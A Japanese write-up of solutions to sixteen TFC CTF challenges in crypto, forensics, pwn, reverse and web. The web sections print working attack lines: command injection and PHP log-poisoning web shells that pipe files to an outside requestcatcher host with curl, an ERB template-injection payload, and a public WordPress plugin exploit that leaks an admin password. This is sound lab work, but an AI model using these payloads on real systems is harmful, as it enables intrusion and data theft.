- [crypto] BASIC
- [crypto] MAFIOSO
- [crypto] OBSCURE
- [crypto] TRAIN TO PADDINGTON
- [forensics] BBBBBBBBBB
- [forensics] ADDING IN PARTS
- [misc] PATTERN
- [pwn] RANDOM
- [reverse] SOURCE
- [web] ROBOTS AND MUSIC
- [web] PONG
- [web] ARE YOU THE ADMIN?
- [web] DEEPLINKS
- [web] CALENDAR
- [web] DIAMONDS
- [web] INCLUDE WHAT MATTERS.
[crypto] BASIC
/Rn/X7n#bUc.rjzh,|eEsg,?&QI;@^ARm}UKOkICi#X.ixEmN]D
Decrypt a Message - Cipher Identifier - Online Code Recognizer
ここで判別してみると、Base91らしい。
Base91 Encoding - Base 91 Online Decoder, Encoder, Translator
ここででコードしてみると、フラグが得られる。
TFCCTF{sh3's_4_10..._but_0n_th3_ph_sc4l3}
[crypto] MAFIOSO
f433c3e883a1389482c0b652660580f36ea037434fd4a67d193bc1cdc9b2cc34をDecrypt a Message - Cipher Identifier - Online Code Recognizer
に与えてみるとSHA-256と言われる。
あー、なるほど。
CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.
を使って、解析してみると、snitchesgetstitches
が元のようだ。
フォーマットに包んで提出すると正解だった。
TFCCTF{snitchesgetstitches}
[crypto] OBSCURE
文字列をコピーしてstrというファイル名で保存してxxd str
で見てみると、フラグっぽい文字と.で見えてくる。
00000000: 54cc b6cd 91cc 8ecd 8bcd 8acc 95cd 9bcd T............... 00000010: 9dcd 97cc 86cd 90cc 9acc 84cd 82cd 9dcc ................ 00000020: 9acd 80cc 92cd 9bcd 9dcc 95cc 89cc bfcc ................ 00000030: 8fcc 88cd 88cd 8dcc a5cd 9acc adcc 9ccd ................ 00000040: 87cc bbcc a5cc 98cc a8cc b9cc 9dcc a9cd ................ 00000050: 8dcc a6cc a7cc 9ccd 95cd 85cd 89cc a5cc ................ 00000060: b346 ccb6 cc85 cc94 cc9b cc88 cd90 cc95 .F.............. 00000070: cd80 ccbe cc8b cd9d cda0 cd8a cd84 cd9b ................ 00000080: cd86 ccbf cc80 cd9d cc93 cd90 cd83 cd8b ................ 00000090: cc95 cc83 cd9b cc83 cd9d cc81 cc91 cc80 ................ ...
あとは適当に要らない文字を削除するとフラグが得られる。
TFCCTF{s3cur1ty_thr0ugh_0bscur1ty}
[crypto] TRAIN TO PADDINGTON
雑にやったら解けてしまった感じがある。
FLAGの先頭はTFCCTF{であることはわかっているので、これを暗号化文の先頭とxorすれば鍵の先頭7文字が復元できる。
しかし、そのあとの9文字はわからないので全探索…とも思ったが、ちょっとサイズが大きい。
paddingで\x3f
が使われていたのでわからない部分はとりあえずそれで埋めて復元してみる。
b'TFCCTF{?????????_h4s_l3-#S\x14#~T}%4t10n}?th3_tr41n'
何やら末尾に出てきた。確かによくよく考えるとこういう現象が起こる。
\x3f
を鍵にすると、パディング埋めとして使っていた\x3f
の個数分だけ末尾の鍵が漏洩する。
ちょうど漏洩部分と既知の部分をまとめるとTFCCTF{th3_tr41n
となって、ちょうど1ブロック分になる。
あとは、これを使って復元していくとフラグが得られる。
from Crypto.Util.number import * enc = long_to_bytes(0xb4b55c3ee34fac488ebeda573ab1f974bf9b2b0ee865e45a92d2f14b7bdabb6ed4872e4dd974e803d9b2ba1c77baf725) BLOCK_SIZE = 16 FLAG = b'TFCCTF{th3_tr41n' while len(FLAG) < BLOCK_SIZE: FLAG += b'\x3f' key = b'' for i in range(BLOCK_SIZE): key += (enc[i] ^ FLAG[i]).to_bytes(1, 'big') print(key) ans = b'' j = 0 for i in range(len(enc)): ans += (key[j] ^ enc[i]).to_bytes(1, 'big') j += 1 j %= 16 print(ans) # b'TFCCTF{th3_tr41n_h4s_l3ft_th3_st4t10n}??????????'
[forensics] BBBBBBBBBB
strings chall.jpg
してみるとBBBBBBBBBBがたくさん出てくる。
バイナリエディタで眺めてみてもそれほど気になるところがない。
jpgファイルを開こうとすると壊れているみたいなので、試しにBBBBBBBBBBを削除してみると、jpgファイルが開けてフラグが得られた。
bbe -e 's/\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42//g' chall.jpg > new.jpg
TFCCTF{the_fl4g_1s_th3_w4y}
[forensics] ADDING IN PARTS
zipを解凍してみると大量のzipが出てくる。
中をちらっと見てみると文字が圧縮されているみたいなので、全部解凍して数字の順番に中に入っているファイルに書かれている文字を並べると文字列が出てきて、
答え…かと思ったが、そんな簡単な話ではなさそう。
バイナリを眺めても特に気になるところはないし…と思っていると解凍時にCRCが違うと言われる
試しに0.zipのCompressedDataをTにして、解凍してみると…エラー無しで解凍できますね…
これは面倒なことになったぞ…
やることはCompressedDataを適切に変更してCRCエラーがないものが答えのフラグとして復元できるというもの。
あとは実装。
import shutil import zipfile def update(idx, c): with open(f'{idx}.zip', 'rb') as f: data = f.read() offset = 0x1f if 10 <= idx: offset += 1 data = data[:offset] + bytes(c.encode()) + data[offset + 1:] with open(f'{idx}.zip', 'wb') as f: f.write(data) num = '0123456789' cap = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' small = 'abcdefghijklmnopqrstuvwxyz' symbol = '!@#$%^&*()_\-+=:;<,>.?\/{}' dic = num + cap + small + symbol flag = '' for idx in range(22): ok = False for c in dic: update(idx, c) try: shutil.unpack_archive(f'{idx}.zip', 'dir_out') ok = True flag += c print(f"[+] find! {flag}") except zipfile.BadZipFile: pass if ok: break if not ok: flag += '?' print(f"[+] woops... {flag}") print(f"[*] Here we go! {flag}")
こんな感じでファイルの内容を全探索してCRCが正しくなるまで試して、ちゃんと解凍できる(CRCが正しい)ならばフラグとして採用する。
これを繰り返すとフラグが出てくる…はずだが、10.zipのファイル名(アドレス0x1eと0x1fの部分)がなぜか11になっていて10に直すとちゃんと動く。
TFCCTF{ch3cksum2_g0od}
[misc] PATTERN
入力としてcountは1固定とすると任意の文字列を差し込めることになる。
{message}
と入力すると、messageの内容を再度表示させることができる。
ここで面白いのが{message.__class__}
とすると、クラスを参照することができる。
言われてみればそうなのだが、言われるまで気づかない。
あとはSSTIでもあるような感じで組み立てて探していく。
{message.__class__.__init__.__globals__}
とするとフラグが得られた。
$ nc 01.linux.challenges.ctf.thefewchosen.com 58776 pattern> {message.__class__.__init__.__globals__} count> 1 Here is your pattern: {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fdddb543c10>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/ctf/main.py', '__cached__': None, 'dataclasses': <module 'dataclasses' from '/usr/local/lib/python3.10/dataclasses.py'>, 'errno': <module 'errno' (built-in)>, 'os': <module 'os' from '/usr/local/lib/python3.10/os.py'>, 'random': <module 'random' from '/usr/local/lib/python3.10/random.py'>, 'FLAG': 'TFCCTF{Th15_G1vEs_pr1ntf_v1b35}', 'Message': <class '__main__.Message'>, 'MESSAGES': [Thank you for using our service., Here is your pattern:, Until next time!], 'pattern': '{message.__class__.__init__.__globals__}', 'count': 1, 'final_pattern': '{message.__class__.__init__.__globals__}'}
[pwn] RANDOM
$ file random random: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=defd9a2d9f6d0a4ec5067bc2ed810ee1444ea52c, for GNU/Linux 3.2.0, not stripped $ checksec random [*] '/mnt/c/Users/eric/Downloads/TFC CTF/pwn-random/random' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
ふむ…ghidraでCに戻してみる。
puts("Menu: \n1. Generate number"); __isoc99_scanf(&DAT_0010201e,&local_14); if (local_14 == 1) { uVar1 = rand(); printf("%d",(ulong)uVar1); } else if (local_14 == 0x539) { pcVar3 = getenv("FLAG"); printf("%s",pcVar3); }
こういう感じなので、入力に0x539、つまり1337を入れればフラグが手に入る。
$ nc 01.linux.challenges.ctf.thefewchosen.com 51657 Menu: 1. Generate number 1337 TFCCTF{Th3r3_w3r3_m0r3_0pt10n5_4ft3r_4ll!}
[reverse] SOURCE
ghidraで見てみたが、面白いc言語のコードは見当たらなかった。
アセンブリを眺めると、フラグっぽいのが見つかる。
strings -n 10 source
で文字列を抜き出すとフラグっぽいのが見つかる。
そのまま提出すると正解だった。
TFC{3v3ryth1ng_1s_0p3n_5ourc3_1f_y0u try_h4rd_3n0ugh}
[web] ROBOTS AND MUSIC
/
にアクセスするとI hope you like robots!
と言われる。
robotsと言えば…ということで/robots.txt
にアクセスするとDisallow: /g00d_old_mus1c.php
と書いてある。
/g00d_old_mus1c.php
にアクセスするとフラグが書いてある。
TFCCTF{Kr4ftw3rk_4nd_th3_r0b0ts}
[web] PONG
/
にアクセスするとリダイレクトが走り、Command executed: ping -c 2 127.0.0.1
と出てくる。
URLを見てみると、/index.php?host=127.0.0.1
になっている。
かなりコマンドインジェクション感がある。
適当にpayloadを試してみると/index.php?host=127.0.0.1%20%3b%20sleep%203
で3秒のwaitが走った。
127.0.0.1 ; sleep 3
を入力したことになる。
結果は帰ってこなさそうなので、requestcatcherで受け口を作って、結果を受け取ろう。
127.0.0.1 ; id | curl https://xxx.requestcatcher.com/post -X POST -d @-
とするとidの結果が帰ってくる。
これで自由にコマンド実行できるようになったため、色々探索すると
127.0.0.1 ; cat /flag.txt | curl https://xxx.requestcatcher.com/post -X POST -d @-
でフラグが手に入る。
つまり、/index.php?host=127.0.0.1%20%3b%20cat%20%2fflag.txt%20%7c%20curl%20https%3a%2f%2fxxx.requestcatcher.com%2fpost%20-X%20POST%20-d%20%40-
で
フラグ獲得。
TFCCTF{C0mm4nd_1nj3c5i0n_1s_E4sy}
[web] ARE YOU THE ADMIN?
まずはコードリーディングしてみる。
index.tsxの52行目を見るとisAdminがtrueのユーザーが作れればフラグが得られるようだ。
{user.isAdmin && <div>{user.flag}</div>}
ユーザー作成は27行目にあるようにPOST /api/auth
で作成しているみたい。
/api/auth
の定義が…見当たらない。
あまりよく理解してないけど、誰かがよしなにやってくれているんだろう。
実際に動かしてみる。
ユーザー名を入力してボタンをクリックすると、コードにもあったようにPOST /api/auth
がリクエストされた。
そのあと、謎のjsonファイルが戻ってきて、画面に応答が帰ってきている。
/api/auth
は自分で定義しているわけではないのでリクエストを見て色々判断していると想像し、
POSTリクエストをinterceptして、{"username":"abc2", "isAdmin":true}
のようにbodyを入れ替えた。
するとisAdmin=trueのアカウントが作成できたようでフラグが手に入る。
TFCCTF{S4n1t1z3_Y0ur_1nput5!}
[web] DEEPLINKS
/
にアクセスするとnothing to see here
と言われる。
ノーヒントすぎるので、問題文を読み返す。
My intern configured my iOS app and my website to handle deeplinks, but they didn't tell me the path :( Can you help me find it?
UAとかをiOSのそれに変えてみたりしたが、最終的に以下の情報が参考になった。
モバイルアプリにおけるディープリンクとメルカリShopsでの実装 | メルカリエンジニアリング
UniversalLinksの実装には、アプリ側でディープリンクとして扱いたいURLのドメインを指定し、
そのドメインの.well-known/以下にapple-app-site-associationというファイルを設置する必要があります。
あー、なんかレポートで見たことあるな。
それね。
/.well-known/apple-app-site-association
にアクセスすると謎のファイルがダウンロードされてきて、中にフラグが書いてある。
TFCCTF{4ppl3_4pp_51t3_4550c14t10n}
[web] CALENDAR
珍しい!wordpressのサイトが与えられる。
The flag is format :TFCCTF{FOUNDPASSWORD}
とあるのでパスワードを特定する必要がありそう。
Burpに残っているリクエストを見てみると、
/wp-content/plugins/modern-events-calendar-lite/assets/js/frontend.js?ver=5.16.2
というのが残っている。
キャッシュパージのためにバージョンが使われているのでModern Events Calendar 5.16.2
が入っていることがわかる。
調べると色々脆弱性が出てくる。
RCEもあるっぽいがパスワードを抜きたいので、試しにこれを使ってみる。
Wordpress Plugin Modern Events Calendar 5.16.2 - Event export (Unauthenticated) - PHP webapps Exploit
Exploitを持ってきてpython3 50084.py -T 01.linux.challenges.ctf.thefewchosen.com -P 52451 -U ""
のように動かす。
['ID', 'Title', 'Start Date', 'Start Time', 'End Date', 'End Time', 'Link', 'Location', 'Address', 'Organizer', 'Organizer Tel', 'Organizer Email', 'Event Cost'] ['5', 'give the developer the password from the wp site-> user:admin , password:WPNe3MgF$sNj8E8F6d', '2022-07-27', '8:00 am', '2022-07-27', '6:00 pm', 'http://01.linux.challenges.ctf.thefewchosen.com:52451/?mec-events=give-the-developer-the-password-from-the-wp-site-useradmin-passwordwpne3mgfsnj8e8f6d', '', '', '', '', '', '']
いい感じにパスワードっぽいのが抜けてきた。
フォーマットを合わせると、フラグ完成。
TFCCTF{WPNe3MgF$sNj8E8F6d}
[web] DIAMONDS
Write something nice here that passes our regex
と言われる。
適当に文字を入れるとecho backされてくる。
適当に記号を入れるとThat is far away from nice !!
と言われる。
全文字種を送りつけて反応を見てみたが、A-Za-z0-9ならecho backされて、記号ならほにゃららnice !!と言われるくらいしか変化がない。
何を要求されているのか全くわからん。
色々試すとinput=%81
でエラーを出せた。
/app/app/controllers/input.rb in block in <class:Animated_template> if params[:input] =~ /^[0-9a-z ]+$/i /usr/local/lib/ruby/2.7.0/webrick/httpserver.rb in service si.service(req, res) /usr/local/lib/ruby/2.7.0/webrick/httpserver.rb in run server.service(req, res) /usr/local/lib/ruby/2.7.0/webrick/server.rb in block in start_thread block ? block.call(sock) : run(sock)
/^[0-9a-z ]+$/i
が正規表現らしい。
改行とかでbypassできそうか。
%23%0d%0aABC
とやると# ABC
と出てきた。OK。
SSTIを疑って適当に試すと%3c%25%3d%206*6%20%25%3e%0d%0aABC
で刺さる。
PayloadsAllTheThings/Server Side Template Injection at master · swisskyrepo/PayloadsAllTheThings
この辺を参考にしながら色々やると、%3c%25%3d%20%60ls%60%20%25%3e%0d%0aABC
でlsができる。
flag.txtがあるので表示するとフラグが手に入る。
TFCCTF{02718f35dddc266e0ac40c0c0dcc98c34edd545678dc752ba9831b6d73bc706f}
[web] INCLUDE WHAT MATTERS.
/?file=test.txt
はファイルがないらしい。
Warning: include(test.txt): Failed to open stream: No such file or directory in /var/www/html/index.php on line 25 Warning: include(): Failed opening 'test.txt' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 25
/?file=/etc/passwd
でpasswdファイル出ていたからLFIはできる。
php://filter/convert.base64-encode/resource=index.php
でindex.phpの中身を見てみよう。
<?php echo "<a class=\"btn btn-primary\" href=\".?file=test.txt\" /> Your test </a><br><br>"; if(isset($_GET['file'])){ $file=$_GET['file']; $file=str_replace("../","",$file); include('' . $file); } ?>
抜粋してみたが、特に面白くないな。
/var/log/apache2/access.log
とUser-Agent使ってRCEまでつなげるアレを試すとうまくいく。
GET /?file=test.txt HTTP/1.1 Host: 01.linux.challenges.ctf.thefewchosen.com:50259 Upgrade-Insecure-Requests: 1 User-Agent: <?=`$_GET[0]`; ?>
のようなリクエストを送っておいて、
GET /?file=%2fvar%2flog%2fapache2%2faccess.log&0=id
のようにやればコマンド実行できる。
requestcatcherあたりを使ってダイレクトに応答をもらってきながら探索すると/hidden_fl4g.txt
にフラグがあることがわかる。
0=cat%20%2fhidden_fl4g.txt%20%7c%20curl%20https%3a%2f%2fxxx.requestcatcher.com%2ftest%20-X%20POST%20-d%20%40-
のような感じでコマンドを送るとフラグ獲得。
TFCCTF{LF1_1S_D4NG3R0US_4ND_L34DS_T0_RC3}